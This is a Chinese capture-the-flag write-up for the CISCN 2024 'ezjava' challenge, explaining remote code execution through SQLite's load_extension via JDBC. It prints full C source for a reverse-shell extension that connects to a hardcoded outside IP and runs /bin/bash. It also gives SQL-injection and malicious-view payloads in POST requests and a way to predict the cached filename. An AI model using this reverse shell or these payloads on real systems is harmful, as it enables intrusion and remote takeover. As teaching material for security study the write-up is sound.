CISCN24_ezjava
1diot9 Lv3

前言

考察sqliite加载so文件实现RCE。

分析

首先你需要知道,sqlite是一个内存数据库,直接存储在本地,没有server,client一说。一个sqlite数据库就是一个文件,类似test.db。你可以随机新建一个db文件,然后创建sqlite时打开,这样之后产生的数据都会写在这个db文件上。sqlite无法跟mysql一样返回反序列化数据,只能通过加载so文件实现RCE

这题有两种解法,一是通过AspectJ写so文件,然后sql注入加载so文件;二是利用sqlite缓存数据库的特性,先让靶机获取so文件,并算出重命名后的so文件,然后再连接恶意db,实现加载so文件。

方法1

依赖里有AspectJ组件,又可以用JDBC mysql反序列化,那就可以任意写文件。那我们写一个so文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sqlite3ext.h>
#include <sys/stat.h>

SQLITE_EXTENSION_INIT1

/* Configuration for the TCP connection */
int tcp_port = 5555;
char *ip = "129.204.197.19";

#ifdef _WIN32
__declspec(dllexport)
#endif

/**
* Initializes the SQLite extension.
*
* @param db SQLite database pointer
* @param pzErrMsg Error message pointer
* @param pApi SQLite API routines pointer
* @return SQLITE_OK on success
*/
int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);

/* Establish a TCP connection and spawn a shell if running in a child process */
int fd;
if ((fork()) <= 0) {
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);

fd = socket(AF_INET, SOCK_STREAM, 0);
if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
exit(0); // Exit if connection fails
}

// Redirect standard file descriptors to the socket
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);

// Execute bash shell
execve("/bin/bash", NULL, NULL);
}

return rc;
}

gcc -g -fPIC -shared rce.c -o rce.so

在linux环境下编译成so。

这里假设写入/tmp/rce.so

我们用navicat新建一个基于user.db(新建txt改后缀就行)的sqlite,然后在里面新建一张user表,两个字段。

POST请求选择type3,如果参数里有tableName,就会执行下面的语句:img

这里就可以注入。

写完文件后这样发POST请求就行

1
2
3
4
{"type":"3",
"url":"jdbc:sqlite::resource:http://10.195.247.79:7776/user.db",
"tableName":"user union select 1,load_extension('/tmp/rce.so')"
}

至于url的格式为什么是这样的,去看org.sqlite.core.CoreConnection#open就知道了,这样写才能加载远程的db文件到本地。

方法2

假如我们不能任意写文件,我们仍可以加载so文件,因为sqlite有缓存机制。如果是从远程加载的db,那么该db从远程加载后,会保存到本地的一个特定路径,该路径可以计算,具体计算方法看org.sqlite.core.CoreConnection#extractResource

下面是计算文件名的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
package solution;

import java.net.MalformedURLException;
import java.net.URL;

public class hashName {
public static void main(String[] args) throws MalformedURLException {
URL resourceAddr = new URL("http://10.195.247.79:7776/rce.so");
String dbFileName = String.format("sqlite-jdbc-tmp-%d.db", resourceAddr.hashCode());
System.out.println(dbFileName);
//sqlite-jdbc-tmp--1989922468.db
}
}

其实就是hashCode一下我们的url。

接着就是加载so文件了(实际上已经是sqlite-jdbc-tmp–1989922468.db)。除了方法1里面的sql注入,还可以用另一种方法。我们可以用navicat以exp.db为基础创建一个sqlite3数据库。之后执行

1
create view security as select (select load_extension('/tmp/sqlite-jdbc-tmp--1989922468.db'));

这样会新建一个视图。

当我们先传入so文件后,POST下面的即可

1
2
3
{"type":"3",
"url":"jdbc:sqlite::resource:http://10.195.247.79:7776/exp.db",
"tableName":"security"}

实际上就是select * from security ,而security里面有我们创建的恶意视图,最终就是执行select load_extension(‘/tmp/sqlite-jdbc-tmp–1989922468.db’)

总结

这题主要学了一下sqlite实现rce,这也是第一次遇到sql到rce吧。

参考

CISCN2024 writeup(web部分)

https://xz.aliyun.com/news/14234

2024CISCN_WEB_ezjava题解 | P0l@R19ht

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 22.8k 访客数 访问量